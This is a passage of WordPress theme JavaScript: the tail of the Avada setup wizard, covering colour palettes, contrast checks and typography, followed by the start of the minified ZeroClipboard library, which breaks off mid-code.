$allTogglers = jQuery( '.awb-setup-wizard-change-color-toggler' ), $firstColorToggler = jQuery( '.awb-setup-wizard-change-color-toggler[data-color-id="1"]' ); $customizeBtn.addClass( 'active' ); $colorSection.addClass( 'awb-setup-wizard-custom-palette-enabled' ); $customPalette.slideDown( { duration: 600, start: function () { jQuery( this ).css( { display: 'flex' } ); } }, 600 ); $schemeNav.css( 'opacity', 0 ).css( 'visibility', 'hidden' ).attr( 'aria-hidden', 'true' ); $colorSettings.each( function() { var $section = jQuery( this ), colorId = jQuery( this ).attr( 'data-color-id' ), currentColor = jQuery( '.awb-setup-wizard-change-color-toggler[data-color-id="' + colorId + '"] .awb-setup-wizard-change-color-preview' ).css( 'background-color' ), colorPicker = $section.find( 'input.awb-picker' ); if ( 'string' === typeof currentColor && currentColor && 'transparent' !== currentColor ) { colorPicker.awbColorPicker( 'color', currentColor ); } } ); // Open first color if necessary. if ( ! $allTogglers.hasClass( 'active' ) ) { $firstColorToggler.trigger( 'click' ); } this.refreshColorAccessibility(); }, disableCustomPalette: function() { var $colorSection = jQuery( '.awb-setup-wizard-section[data-step="4"]' ), $customizeBtn = jQuery( '.awb-setup-wizard-toggle-custom-palette' ), $customPalette = jQuery( '.awb-setup-wizard-custom-colors-wrapper' ), $schemeNav = jQuery( '.scheme-nav' ); $customizeBtn.removeClass( 'active' ); $colorSection.removeClass( 'awb-setup-wizard-custom-palette-enabled' ); $customPalette.slideUp( 600 ); $schemeNav.css( 'opacity', 1 ).css( 'visibility', '' ).attr( 'aria-hidden', 'false' ); }, toggleCustomColor: function( e ) { var $el = jQuery( e.currentTarget ); var colorId = $el.attr( 'data-color-id' ); var allSettingElements = jQuery( '.awb-setup-wizard-change-color-setting' ); var allSettingTogglers = jQuery( '.awb-setup-wizard-change-color-toggler' ); var $targetEl = jQuery( '.awb-setup-wizard-change-color-setting[data-color-id="' + colorId + '"]' ); var needToWait = false; // Hide any setting that is visible, and set to wait for it to become hidden. allSettingTogglers.removeClass( 'active' ); allSettingElements.each( function() { var settingEl = jQuery( this ); if ( settingEl.attr( 'data-color-id' ) !== colorId && settingEl.is( ':visible' ) ) { settingEl.slideUp( 300 ); needToWait = true; } } ); // Toggle the hidden/show actions. if ( $targetEl.is( ':visible' ) ) { $el.removeClass( 'active' ); } else { $el.addClass( 'active' ); } // Toggle the hidden/show actions that needs waiting if necessary. if ( needToWait ) { setTimeout( toggleColorView.bind( null, $targetEl ), 250 ); } else { toggleColorView( $targetEl ); } function toggleColorView( settingToToggle ) { if ( settingToToggle.is( ':visible' ) ) { settingToToggle.slideUp( 300 ); } else { settingToToggle.slideDown( 300 ); } } }, handleColorNameChange: function( e ) { var $el = jQuery( e.currentTarget ); var colorName = $el.val(); var colorId = $el.closest( '.awb-setup-wizard-change-color-setting' ).attr( 'data-color-id' ); var $togglerName = jQuery( '.awb-setup-wizard-change-color-toggler[data-color-id="' + colorId + '"] .awb-setup-wizard-color-name' ); var $accessibilityNames = jQuery( '.awb-setup-wizard-accessibility [data-color-id="' + colorId + '"]' ); $togglerName.text( colorName ); $accessibilityNames.text( colorName ); this.setCustomColorVal( colorId, { label: colorName } ); }, getColorSchemasFromRemote: async function() { var urlData; if ( Array.isArray( this._colorsCache ) && this._colorsCache.length ) { return this._colorsCache; } urlData = await fetch( 'https://updates.theme-fusion.com/wp-json/setup_data/colors/', { cache: 'no-store' } ).then( function( response ) { if ( response.ok ) { return response.json(); } return []; } ).catch( function() { // eslint-disable-line dot-notation return []; } ); if ( Array.isArray( urlData ) ) { this._colorsCache = urlData; } this.schemesLoaded = true; return this._colorsCache; }, getTypographiesFromRemote: async function() { var urlData; if ( Array.isArray( this._typographyCache ) && this._typographyCache.length ) { return this._typographyCache; } urlData = await fetch( 'https://updates.theme-fusion.com/wp-json/setup_data/typography/', { cache: 'no-store' } ).then( function( response ) { if ( response.ok ) { return response.json(); } return []; } ).catch( function() { // eslint-disable-line dot-notation return []; } ); if ( Array.isArray( urlData ) ) { this._typographyCache = urlData; } this.typographyLoaded = true; // Set the default typoSet. if ( ! this.activeTypoSetData.name && this._typographyCache[ 0 ] ) { this.activeTypoSetData = this._typographyCache[ 0 ]; } return this._typographyCache; }, refreshColorAccessibility: function() { var color15Wrapper = jQuery( '.awb-setup-wizard-accessibility-item[data-awb-check="color-1-5-contrast"]' ), color_1_5_contrast = jQuery.Color( this.colors.color1.color ).contrast( this.colors.color5.color ), color48Wrapper = jQuery( '.awb-setup-wizard-accessibility-item[data-awb-check="color-4-8-contrast"]' ), color_4_8_contrast = jQuery.Color( this.colors.color4.color ).contrast( this.colors.color8.color ), $colorsLuminance = jQuery( '.awb-setup-wizard-accessibility-item[data-awb-check="color-luminance-order"]' ), luminances, firstColorWrong, orderIsGood, i; color15Wrapper.find( '.awb-setup-wizard-accessibility-item-badge span' ).removeClass( 'active' ); if ( 4.5 < color_1_5_contrast ) { color15Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).slideUp( 300 ); color15Wrapper.find( '[data-awb-badge="excellent"]' ).addClass( 'active' ); } else if ( 3 < color_1_5_contrast ) { color15Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).filter( ':not(.awb-setup-wizard-accessibility-acceptable)' ).slideUp( 300 ); color15Wrapper.find( '.awb-setup-wizard-accessibility-acceptable' ).filter( ':not(:visible)' ).slideDown( 300 ); color15Wrapper.find( '[data-awb-badge="acceptable"]' ).addClass( 'active' ); } else if ( 2.5 < color_1_5_contrast ) { color15Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).filter( ':not(.awb-setup-wizard-accessibility-poor)' ).slideUp( 300 ); color15Wrapper.find( '.awb-setup-wizard-accessibility-poor' ).filter( ':not(:visible)' ).slideDown( 300 ); color15Wrapper.find( '[data-awb-badge="poor"]' ).addClass( 'active' ); } else { color15Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).filter( ':not(.awb-setup-wizard-accessibility-very-poor)' ).slideUp( 300 ); color15Wrapper.find( '.awb-setup-wizard-accessibility-very-poor' ).filter( ':not(:visible)' ).slideDown( 300 ); color15Wrapper.find( '[data-awb-badge="very-poor"]' ).addClass( 'active' ); } color15Wrapper.find( '.awb-setup-wizard-accessibility-contrast' ).html( '(' + color_1_5_contrast.toFixed( 1 ) + ')' ); // Check color 4-8 contrast. color48Wrapper.find( '.awb-setup-wizard-accessibility-item-badge span' ).removeClass( 'active' ); if ( 4.5 < color_4_8_contrast ) { color48Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).slideUp( 300 ); color48Wrapper.find( '[data-awb-badge="excellent"]' ).addClass( 'active' ); } else if ( 3 < color_4_8_contrast ) { color48Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).filter( ':not(.awb-setup-wizard-accessibility-acceptable)' ).slideUp( 300 ); color48Wrapper.find( '.awb-setup-wizard-accessibility-acceptable' ).filter( ':not(:visible)' ).slideDown( 300 ); color48Wrapper.find( '[data-awb-badge="acceptable"]' ).addClass( 'active' ); } else if ( 2.5 < color_4_8_contrast ) { color48Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).filter( ':not(.awb-setup-wizard-accessibility-poor)' ).slideUp( 300 ); color48Wrapper.find( '.awb-setup-wizard-accessibility-poor' ).filter( ':not(:visible)' ).slideDown( 300 ); color48Wrapper.find( '[data-awb-badge="poor"]' ).addClass( 'active' ); } else { color48Wrapper.find( '.awb-setup-wizard-accessibility-item-content' ).filter( ':not(.awb-setup-wizard-accessibility-very-poor)' ).slideUp( 300 ); color48Wrapper.find( '.awb-setup-wizard-accessibility-very-poor' ).filter( ':not(:visible)' ).slideDown( 300 ); color48Wrapper.find( '[data-awb-badge="very-poor"]' ).addClass( 'active' ); } color48Wrapper.find( '.awb-setup-wizard-accessibility-contrast' ).html( '(' + color_4_8_contrast.toFixed( 1 ) + ')' ); // Check color luminance order. luminances = []; orderIsGood = true; firstColorWrong = 0; for ( i = 1; 8 >= i; i++ ) { luminances[ i ] = jQuery.Color( this.colors[ 'color' + i ].color ).calcLuminance(); if ( 1 < i && luminances[ i ] > luminances[ i - 1 ] && orderIsGood ) { orderIsGood = false; firstColorWrong = i; } } $colorsLuminance.find( '.awb-setup-wizard-accessibility-item-badge span' ).removeClass( 'active' ); if ( orderIsGood ) { $colorsLuminance.find( '.awb-setup-wizard-accessibility-item-content' ).slideUp( 300 ); $colorsLuminance.find( '[data-awb-badge="excellent"]' ).addClass( 'active' ); } else { $colorsLuminance.find( '.awb-setup-wizard-accessibility-item-content' ).filter( ':not(.awb-setup-wizard-accessibility-very-poor)' ).slideUp( 300 ); $colorsLuminance.find( '.awb-setup-wizard-accessibility-very-poor' ).filter( ':not(:visible)' ).slideDown( 300 ); $colorsLuminance.find( '.awb-setup-wizard-accessibility-very-poor [data-color-id]' ).eq( 0 ).text( this.colors[ 'color' + ( firstColorWrong - 1 ) ].label ).attr( 'data-color-id', firstColorWrong - 1 ); $colorsLuminance.find( '.awb-setup-wizard-accessibility-very-poor [data-color-id]' ).eq( 1 ).text( this.colors[ 'color' + firstColorWrong ].label ).attr( 'data-color-id', firstColorWrong ); $colorsLuminance.find( '[data-awb-badge="very-poor"]' ).addClass( 'active' ); } }, /** * Gets setup wizard color palette. * * @since 3.7 * @return {object} */ getColorPallete: function() { var palette = {}, i, colorObject; for ( i = 0; i <= Object.keys( this.colors ).length; i++ ) { if ( 'undefined' !== typeof this.colors[ 'color' + i ] ) { // Get color object; colorObject = jQuery.Color( this.colors[ 'color' + i ].color ); palette[ '--awb-color' + i ] = this.colors[ 'color' + i ].color; palette[ '--awb-color' + i + '-h' ] = colorObject.hue(); palette[ '--awb-color' + i + '-s' ] = ( colorObject.saturation() * 100 ) + '%'; palette[ '--awb-color' + i + '-l' ] = ( colorObject.lightness() * 100 ) + '%'; palette[ '--awb-color' + i + '-a' ] = ( colorObject.alpha() * 100 ) + '%'; } } return palette; }, /** * Inverts color palette. * * @since 3.7 * @param {Object} palette - The color palette to invert. * @return {Boolean} */ getInvertedColorPalette: function( palette ) { var reversedPalette = {}, i, revI; for ( i = 1, revI = 8; 8 >= i; i++, revI-- ) { if ( 'undefined' !== typeof palette[ '--awb-color' + revI ] ) { reversedPalette[ '--awb-color' + i ] = palette[ '--awb-color' + revI ]; reversedPalette[ '--awb-color' + i + '-h' ] = palette[ '--awb-color' + revI + '-h' ]; reversedPalette[ '--awb-color' + i + '-s' ] = palette[ '--awb-color' + revI + '-s' ]; reversedPalette[ '--awb-color' + i + '-l' ] = palette[ '--awb-color' + revI + '-l' ]; reversedPalette[ '--awb-color' + i + '-a' ] = palette[ '--awb-color' + revI + '-a' ]; } } return reversedPalette; }, /** * Gets local typo sets. * * @since 3.7 * @return {object} */ getTypoSets: function() { return this.getSetupWizardTypography(); }, /** * Gets setup wizard typo sets. * * @since 3.7 * @return {object} */ getSetupWizardTypography: function() { var ratio = jQuery( '#pyre_sizing_type' ).val(), baseSize = parseInt( jQuery( 'input[name="base_size"]' ).val() ), typoSet = {}, self = this, i, subsets = [ 'font-family', 'font-size', 'font-weight', 'font-style', 'line-height', 'letter-spacing', 'text-transform' ], setData = { 'small': '--awb-typography5', 'body': '--awb-typography4', 'lead': '--awb-typography3', 'subheadings': '--awb-typography2', 'headings': '--awb-typography1' }; // default values. if ( 'undefined' === typeof ratio || '' === ratio ) { ratio = 1.33; } if ( 'undefined' === typeof baseSize || '' === baseSize ) { baseSize = 16; } jQuery.each( setData, function( name, cssSlug ) { subsets.forEach( function( subsetName ) { var typoProperty = subsetName.replace( '-', '_' ), typoValue; if ( 'undefined' !== typeof self.activeTypoSetData[ name ] ) { typoValue = self.activeTypoSetData[ name ][ typoProperty ]; if ( 'font_size' === typoProperty ) { if ( 'body' === name || 'lead' === name ) { typoValue = Math.ceil( parseFloat( baseSize ).toFixed( 2 ) ) + 'px'; } else if ( 'small' === name ) { typoValue = Math.ceil( parseFloat( baseSize * 0.8125 ).toFixed( 2 ) ) + 'px'; } else if ( 'subheadings' === name ) { typoValue = Math.ceil( parseFloat( baseSize * 1.5 ).toFixed( 2 ) ) + 'px'; } else if ( 'headings' === name ) { typoValue = Math.ceil( parseFloat( baseSize * Math.pow( ratio, 5 ) ).toFixed( 2 ) ) + 'px'; } } typoSet[ cssSlug + '-' + subsetName ] = typoValue; } } ); } ); for ( i = 1; 6 >= i; i++ ) { typoSet[ '--h' + i + '_typography-font-size' ] = ( baseSize * Math.pow( ratio, 6 - i ) ).toFixed( 2 ) + 'px'; } return typoSet; }, /** * Update preview iframe. * * @since 3.7 * @return {object} */ updatePreviewIframe( $element, iframe, event ) { var overWriteType = $element.find( 'input[name$="overwrite-type"]:checked' ).val(), shouldInvert = $element.find( 'input[name$="invert"]:checked' ).val(), varData = { color_palette: {}, typo_sets: {}, shouldInvert: shouldInvert, dark_light: jQuery( '#dark_light' ).val() }; if ( 'inherit' === overWriteType ) { varData.color_palette = 'do-invert' === shouldInvert ? this.getInvertedColorPalette( this.getColorPallete() ) : this.getColorPallete(); varData.typo_sets = this.getTypoSets(); } if ( event && jQuery( event.target ).is( 'input[name$="invert"]' ) ) { varData.is_invert_button = true; } iframe[ 0 ].contentWindow.postMessage( varData, '*' ); }, /** * Set layout options. * * @since 3.7 * @return {object} */ setLayoutOptions( $element ) { const optionsWrap = $element.find( '.awb-setup-import-options' ), input = $element.find( 'input.layout-input-options' ), options = {}; optionsWrap.find( 'input[type=radio]' ).each( function () { if ( jQuery( this ).is( ':checked' ) ) { const name = jQuery( this ).attr( 'name' ).split( '_' )[ 1 ]; options[ name ] = jQuery( this ).val(); } } ); input.val( JSON.stringify( options ) ).trigger( 'change' ); } }; ( function( jQuery ) { 'use strict'; jQuery( document ).ready( function() { window.awbSetupWizard.init(); } ); }( jQuery ) ); Avada/assets/admin/js/zeroclipboard.js000064400000057321152342437710014003 0ustar00/*! * jquery.zeroclipboard * Bind to the `beforecopy`, `copy`, `aftercopy`, and `copy-error` events, custom DOM-like events for clipboard injection generated using jQuery's Special Events API and ZeroClipboard's Core module. * Copyright (c) 2014 * Licensed MIT * https://github.com/zeroclipboard/jquery.zeroclipboard * v0.2.0 */ !function(a,b){"use strict";var c,d=!!b.ZeroClipboard;/*! * ZeroClipboard * The ZeroClipboard library provides an easy way to copy text to the clipboard using an invisible Adobe Flash movie and a JavaScript interface. * Copyright (c) 2014 Jon Rohan, James M. Greene * Licensed MIT * http://zeroclipboard.org/ * v2.1.2 */ !function(a,b){var d,e=a,f=e.document,g=e.navigator,h=e.setTimeout,i=e.encodeURIComponent,j=e.ActiveXObject,k=e.Number.parseInt||e.parseInt,l=e.Number.parseFloat||e.parseFloat,m=e.Number.isNaN||e.isNaN,n=e.Math.round,o=e.Date.now,p=e.Object.keys,q=e.Object.defineProperty,r=e.Object.prototype.hasOwnProperty,s=e.Array.prototype.slice,t=function(a){return s.call(a,0)},u=function(){var a,c,d,e,f,g,h=t(arguments),i=h[0]||{};for(a=1,c=h.length;c>a;a++)if(null!=(d=h[a]))for(e in d)r.call(d,e)&&(f=i[e],g=d[e],i!==g&&g!==b&&(i[e]=g));return i},v=function(a){var b,c,d,e;if("object"!=typeof a||null==a)b=a;else if("number"==typeof a.length)for(b=[],c=0,d=a.length;d>c;c++)r.call(a,c)&&(b[c]=v(a[c]));else{b={};for(e in a)r.call(a,e)&&(b[e]=v(a[e]))}return b},w=function(a,b){for(var c={},d=0,e=b.length;e>d;d++)b[d]in a&&(c[b[d]]=a[b[d]]);return c},x=function(a,b){var c={};for(var d in a)-1===b.indexOf(d)&&(c[d]=a[d]);return c},y=function(a){if(a)for(var b in a)r.call(a,b)&&delete a[b];return a},z=function(a,b){if(a&&1===a.nodeType&&a.ownerDocument&&b&&(1===b.nodeType&&b.ownerDocument&&b.ownerDocument===a.ownerDocument||9===b.nodeType&&!b.ownerDocument&&b===a.ownerDocument))do{if(a===b)return!0;a=a.parentNode}while(a);return!1},A={bridge:null,version:"0.0.0",pluginType:"unknown",disabled:null,outdated:null,unavailable:null,deactivated:null,overdue:null,ready:null},B="11.0.0",C={},D={},E=null,F={ready:"Flash communication is established",error:{"flash-disabled":"Flash is disabled or not installed","flash-outdated":"Flash is too outdated to support ZeroClipboard","flash-unavailable":"Flash is unable to communicate bidirectionally with JavaScript","flash-deactivated":"Flash is too outdated for your browser and/or is configured as click-to-activate","flash-overdue":"Flash communication was established but NOT within the acceptable time limit"}},G=function(){var a,b,c,d,e="ZeroClipboard.swf";if(!f.currentScript||!(d=f.currentScript.src)){var g=f.getElementsByTagName("script");if("readyState"in g[0])for(a=g.length;a--&&("interactive"!==g[a].readyState||!(d=g[a].src)););else if("loading"===f.readyState)d=g[g.length-1].src;else{for(a=g.length;a--;){if(c=g[a].src,!c){b=null;break}if(c=c.split("#")[0].split("?")[0],c=c.slice(0,c.lastIndexOf("/")+1),null==b)b=c;else if(b!==c){b=null;break}}null!==b&&(d=b)}}return d&&(d=d.split("#")[0].split("?")[0],e=d.slice(0,d.lastIndexOf("/")+1)+e),e}(),H={swfPath:G,trustedDomains:a.location.host?[a.location.host]:[],cacheBust:!0,forceEnhancedClipboard:!1,flashLoadTimeout:3e4,autoActivate:!0,bubbleEvents:!0,containerId:"global-zeroclipboard-html-bridge",containerClass:"global-zeroclipboard-container",swfObjectId:"global-zeroclipboard-flash-bridge",hoverClass:"zeroclipboard-is-hover",activeClass:"zeroclipboard-is-active",forceHandCursor:!1,title:null,zIndex:999999999},I=function(a){if("object"==typeof a&&null!==a)for(var b in a)if(r.call(a,b))if(/^(?:forceHandCursor|title|zIndex|bubbleEvents)$/.test(b))H[b]=a[b];else if(null==A.bridge)if("containerId"===b||"swfObjectId"===b){if(!X(a[b]))throw new Error("The specified `"+b+"` value is not valid as an HTML4 Element ID");H[b]=a[b]}else H[b]=a[b];{if("string"!=typeof a||!a)return v(H);if(r.call(H,a))return H[a]}},J=function(){return{browser:w(g,["userAgent","platform","appName"]),flash:x(A,["bridge"]),zeroclipboard:{version:yb.version,config:yb.config()}}},K=function(){return!!(A.disabled||A.outdated||A.unavailable||A.deactivated)},L=function(a,b){var c,d,e,f={};if("string"==typeof a&&a)e=a.toLowerCase().split(/\s+/);else if("object"==typeof a&&a&&"undefined"==typeof b)for(c in a)r.call(a,c)&&"string"==typeof c&&c&&"function"==typeof a[c]&&yb.on(c,a[c]);if(e&&e.length){for(c=0,d=e.length;d>c;c++)a=e[c].replace(/^on/,""),f[a]=!0,C[a]||(C[a]=[]),C[a].push(b);if(f.ready&&A.ready&&yb.emit({type:"ready"}),f.error){var g=["disabled","outdated","unavailable","deactivated","overdue"];for(c=0,d=g.length;d>c;c++)if(A[g[c]]===!0){yb.emit({type:"error",name:"flash-"+g[c]});break}}}return yb},M=function(a,b){var c,d,e,f,g;if(0===arguments.length)f=p(C);else if("string"==typeof a&&a)f=a.split(/\s+/);else if("object"==typeof a&&a&&"undefined"==typeof b)for(c in a)r.call(a,c)&&"string"==typeof c&&c&&"function"==typeof a[c]&&yb.off(c,a[c]);if(f&&f.length)for(c=0,d=f.length;d>c;c++)if(a=f[c].toLowerCase().replace(/^on/,""),g=C[a],g&&g.length)if(b)for(e=g.indexOf(b);-1!==e;)g.splice(e,1),e=g.indexOf(b,e);else g.length=0;return yb},N=function(a){var b;return b="string"==typeof a&&a?v(C[a])||null:v(C)},O=function(a){var b,c,d;return a=Y(a),a&&!cb(a)?"ready"===a.type&&A.overdue===!0?yb.emit({type:"error",name:"flash-overdue"}):(b=u({},a),bb.call(this,b),"copy"===a.type&&(d=ib(D),c=d.data,E=d.formatMap),c):void 0},P=function(){if("boolean"!=typeof A.ready&&(A.ready=!1),!yb.isFlashUnusable()&&null===A.bridge){var a=H.flashLoadTimeout;"number"==typeof a&&a>=0&&h(function(){"boolean"!=typeof A.deactivated&&(A.deactivated=!0),A.deactivated===!0&&yb.emit({type:"error",name:"flash-deactivated"})},a),A.overdue=!1,gb()}},Q=function(){yb.clearData(),yb.blur(),yb.emit("destroy"),hb(),yb.off()},R=function(a,b){var c;if("object"==typeof a&&a&&"undefined"==typeof b)c=a,yb.clearData();else{if("string"!=typeof a||!a)return;c={},c[a]=b}for(var d in c)"string"==typeof d&&d&&r.call(c,d)&&"string"==typeof c[d]&&c[d]&&(D[d]=c[d])},S=function(a){"undefined"==typeof a?(y(D),E=null):"string"==typeof a&&r.call(D,a)&&delete D[a]},T=function(a){return"undefined"==typeof a?v(D):"string"==typeof a&&r.call(D,a)?D[a]:void 0},U=function(a){if(a&&1===a.nodeType){d&&(qb(d,H.activeClass),d!==a&&qb(d,H.hoverClass)),d=a,pb(a,H.hoverClass);var b=a.getAttribute("title")||H.title;if("string"==typeof b&&b){var c=fb(A.bridge);c&&c.setAttribute("title",b)}var e=H.forceHandCursor===!0||"pointer"===rb(a,"cursor");vb(e),ub()}},V=function(){var a=fb(A.bridge);a&&(a.removeAttribute("title"),a.style.left="0px",a.style.top="-9999px",a.style.width="1px",a.style.top="1px"),d&&(qb(d,H.hoverClass),qb(d,H.activeClass),d=null)},W=function(){return d||null},X=function(a){return"string"==typeof a&&a&&/^[A-Za-z][A-Za-z0-9_:\-\.]*$/.test(a)},Y=function(a){var b;if("string"==typeof a&&a?(b=a,a={}):"object"==typeof a&&a&&"string"==typeof a.type&&a.type&&(b=a.type),b){u(a,{type:b.toLowerCase(),target:a.target||d||null,relatedTarget:a.relatedTarget||null,currentTarget:A&&A.bridge||null,timeStamp:a.timeStamp||o()||null});var c=F[a.type];return"error"===a.type&&a.name&&c&&(c=c[a.name]),c&&(a.message=c),"ready"===a.type&&u(a,{target:null,version:A.version}),"error"===a.type&&(/^flash-(disabled|outdated|unavailable|deactivated|overdue)$/.test(a.name)&&u(a,{target:null,minimumVersion:B}),/^flash-(outdated|unavailable|deactivated|overdue)$/.test(a.name)&&u(a,{version:A.version})),"copy"===a.type&&(a.clipboardData={setData:yb.setData,clearData:yb.clearData}),"aftercopy"===a.type&&(a=jb(a,E)),a.target&&!a.relatedTarget&&(a.relatedTarget=Z(a.target)),a=$(a)}},Z=function(a){var b=a&&a.getAttribute&&a.getAttribute("data-clipboard-target");return b?f.getElementById(b):null},$=function(a){if(a&&/^_(?:click|mouse(?:over|out|down|up|move))$/.test(a.type)){var c=a.target,d="_mouseover"===a.type&&a.relatedTarget?a.relatedTarget:b,g="_mouseout"===a.type&&a.relatedTarget?a.relatedTarget:b,h=tb(c),i=e.screenLeft||e.screenX||0,j=e.screenTop||e.screenY||0,k=f.body.scrollLeft+f.documentElement.scrollLeft,l=f.body.scrollTop+f.documentElement.scrollTop,m=h.left+("number"==typeof a._stageX?a._stageX:0),n=h.top+("number"==typeof a._stageY?a._stageY:0),o=m-k,p=n-l,q=i+o,r=j+p,s="number"==typeof a.movementX?a.movementX:0,t="number"==typeof a.movementY?a.movementY:0;delete a._stageX,delete a._stageY,u(a,{srcElement:c,fromElement:d,toElement:g,screenX:q,screenY:r,pageX:m,pageY:n,clientX:o,clientY:p,x:o,y:p,movementX:s,movementY:t,offsetX:0,offsetY:0,layerX:0,layerY:0})}return a},_=function(a){var b=a&&"string"==typeof a.type&&a.type||"";return!/^(?:(?:before)?copy|destroy)$/.test(b)},ab=function(a,b,c,d){d?h(function(){a.apply(b,c)},0):a.apply(b,c)},bb=function(a){if("object"==typeof a&&a&&a.type){var b=_(a),c=C["*"]||[],d=C[a.type]||[],f=c.concat(d);if(f&&f.length){var g,h,i,j,k,l=this;for(g=0,h=f.length;h>g;g++)i=f[g],j=l,"string"==typeof i&&"function"==typeof e[i]&&(i=e[i]),"object"==typeof i&&i&&"function"==typeof i.handleEvent&&(j=i,i=i.handleEvent),"function"==typeof i&&(k=u({},a),ab(i,j,[k],b))}return this}},cb=function(a){var b=a.target||d||null,c="swf"===a._source;delete a._source;var e=["flash-disabled","flash-outdated","flash-unavailable","flash-deactivated","flash-overdue"];switch(a.type){case"error":-1!==e.indexOf(a.name)&&u(A,{disabled:"flash-disabled"===a.name,outdated:"flash-outdated"===a.name,unavailable:"flash-unavailable"===a.name,deactivated:"flash-deactivated"===a.name,overdue:"flash-overdue"===a.name,ready:!1});break;case"ready":var f=A.deactivated===!0;u(A,{disabled:!1,outdated:!1,unavailable:!1,deactivated:!1,overdue:f,ready:!f});break;case"copy":var g,h,i=a.relatedTarget;!D["text/html"]&&!D["text/plain"]&&i&&(h=i.value||i.outerHTML||i.innerHTML)&&(g=i.value||i.textContent||i.innerText)?(a.clipboardData.clearData(),a.clipboardData.setData("text/plain",g),h!==g&&a.clipboardData.setData("text/html",h)):!D["text/plain"]&&a.target&&(g=a.target.getAttribute("data-clipboard-text"))&&(a.clipboardData.clearData(),a.clipboardData.setData("text/plain",g));break;case"aftercopy":yb.clearData(),b&&b!==ob()&&b.focus&&b.focus();break;case"_mouseover":yb.focus(b),H.bubbleEvents===!0&&c&&(b&&b!==a.relatedTarget&&!z(a.relatedTarget,b)&&db(u({},a,{type:"mouseenter",bubbles:!1,cancelable:!1})),db(u({},a,{type:"mouseover"})));break;case"_mouseout":yb.blur(),H.bubbleEvents===!0&&c&&(b&&b!==a.relatedTarget&&!z(a.relatedTarget,b)&&db(u({},a,{type:"mouseleave",bubbles:!1,cancelable:!1})),db(u({},a,{type:"mouseout"})));break;case"_mousedown":pb(b,H.activeClass),H.bubbleEvents===!0&&c&&db(u({},a,{type:a.type.slice(1)}));break;case"_mouseup":qb(b,H.activeClass),H.bubbleEvents===!0&&c&&db(u({},a,{type:a.type.slice(1)}));break;case"_click":case"_mousemove":H.bubbleEvents===!0&&c&&db(u({},a,{type:a.type.slice(1)}))}return/^_(?:click|mouse(?:over|out|down|up|move))$/.test(a.type)?!0:void 0},db=function(a){if(a&&"string"==typeof a.type&&a){var b,c=a.target||null,d=c&&c.ownerDocument||f,g={view:d.defaultView||e,canBubble:!0,cancelable:!0,detail:"click"===a.type?1:0,button:"number"==typeof a.which?a.which-1:"number"==typeof a.button?a.button:d.createEvent?0:1},h=u(g,a);c&&d.createEvent&&c.dispatchEvent&&(h=[h.type,h.canBubble,h.cancelable,h.view,h.detail,h.screenX,h.screenY,h.clientX,h.clientY,h.ctrlKey,h.altKey,h.shiftKey,h.metaKey,h.button,h.relatedTarget],b=d.createEvent("MouseEvents"),b.initMouseEvent&&(b.initMouseEvent.apply(b,h),b._source="js",c.dispatchEvent(b)))}},eb=function(){var a=f.createElement("div");return a.id=H.containerId,a.className=H.containerClass,a.style.position="absolute",a.style.left="0px",a.style.top="-9999px",a.style.width="1px",a.style.height="1px",a.style.zIndex=""+wb(H.zIndex),a},fb=function(a){for(var b=a&&a.parentNode;b&&"OBJECT"===b.nodeName&&b.parentNode;)b=b.parentNode;return b||null},gb=function(){var a,b=A.bridge,c=fb(b);if(!b){var d=nb(e.location.host,H),g="never"===d?"none":"all",h=lb(H),i=H.swfPath+kb(H.swfPath,H);c=eb();var j=f.createElement("div");c.appendChild(j),f.body.appendChild(c);var k=f.createElement("div"),l="activex"===A.pluginType;k.innerHTML='"+(l?'':"")+'',b=k.firstChild,k=null,b.ZeroClipboard=yb,c.replaceChild(b,j)}return b||(b=f[H.swfObjectId],b&&(a=b.length)&&(b=b[a-1]),!b&&c&&(b=c.firstChild)),A.bridge=b||null,b},hb=function(){var a=A.bridge;if(a){var b=fb(a);b&&("activex"===A.pluginType&&"readyState"in a?(a.style.display="none",function c(){if(4===a.readyState){for(var d in a)"function"==typeof a[d]&&(a[d]=null);a.parentNode&&a.parentNode.removeChild(a),b.parentNode&&b.parentNode.removeChild(b)}else h(c,10)}()):(a.parentNode&&a.parentNode.removeChild(a),b.parentNode&&b.parentNode.removeChild(b))),A.ready=null,A.bridge=null,A.deactivated=null}},ib=function(a){var b={},c={};if("object"==typeof a&&a){for(var d in a)if(d&&r.call(a,d)&&"string"==typeof a[d]&&a[d])switch(d.toLowerCase()){case"text/plain":case"text":case"air:text":case"flash:text":b.text=a[d],c.text=d;break;case"text/html":case"html":case"air:html":case"flash:html":b.html=a[d],c.html=d;break;case"application/rtf":case"text/rtf":case"rtf":case"richtext":case"air:rtf":case"flash:rtf":b.rtf=a[d],c.rtf=d}return{data:b,formatMap:c}}},jb=function(a,b){if("object"!=typeof a||!a||"object"!=typeof b||!b)return a;var c={};for(var d in a)if(r.call(a,d)){if("success"!==d&&"data"!==d){c[d]=a[d];continue}c[d]={};var e=a[d];for(var f in e)f&&r.call(e,f)&&r.call(b,f)&&(c[d][b[f]]=e[f])}return c},kb=function(a,b){var c=null==b||b&&b.cacheBust===!0;return c?(-1===a.indexOf("?")?"?":"&")+"noCache="+o():""},lb=function(a){var b,c,d,f,g="",h=[];if(a.trustedDomains&&("string"==typeof a.trustedDomains?f=[a.trustedDomains]:"object"==typeof a.trustedDomains&&"length"in a.trustedDomains&&(f=a.trustedDomains)),f&&f.length)for(b=0,c=f.length;c>b;b++)if(r.call(f,b)&&f[b]&&"string"==typeof f[b]){if(d=mb(f[b]),!d)continue;if("*"===d){h.length=0,h.push(d);break}h.push.apply(h,[d,"//"+d,e.location.protocol+"//"+d])}return h.length&&(g+="trustedOrigins="+i(h.join(","))),a.forceEnhancedClipboard===!0&&(g+=(g?"&":"")+"forceEnhancedClipboard=true"),"string"==typeof a.swfObjectId&&a.swfObjectId&&(g+=(g?"&":"")+"swfObjectId="+i(a.swfObjectId)),g},mb=function(a){if(null==a||""===a)return null;if(a=a.replace(/^\s+|\s+$/g,""),""===a)return null;var b=a.indexOf("//");a=-1===b?a:a.slice(b+2);var c=a.indexOf("/");return a=-1===c?a:-1===b||0===c?null:a.slice(0,c),a&&".swf"===a.slice(-4).toLowerCase()?null:a||null},nb=function(){var a=function(a){var b,c,d,e=[];if("string"==typeof a&&(a=[a]),"object"!=typeof a||!a||"number"!=typeof a.length)return 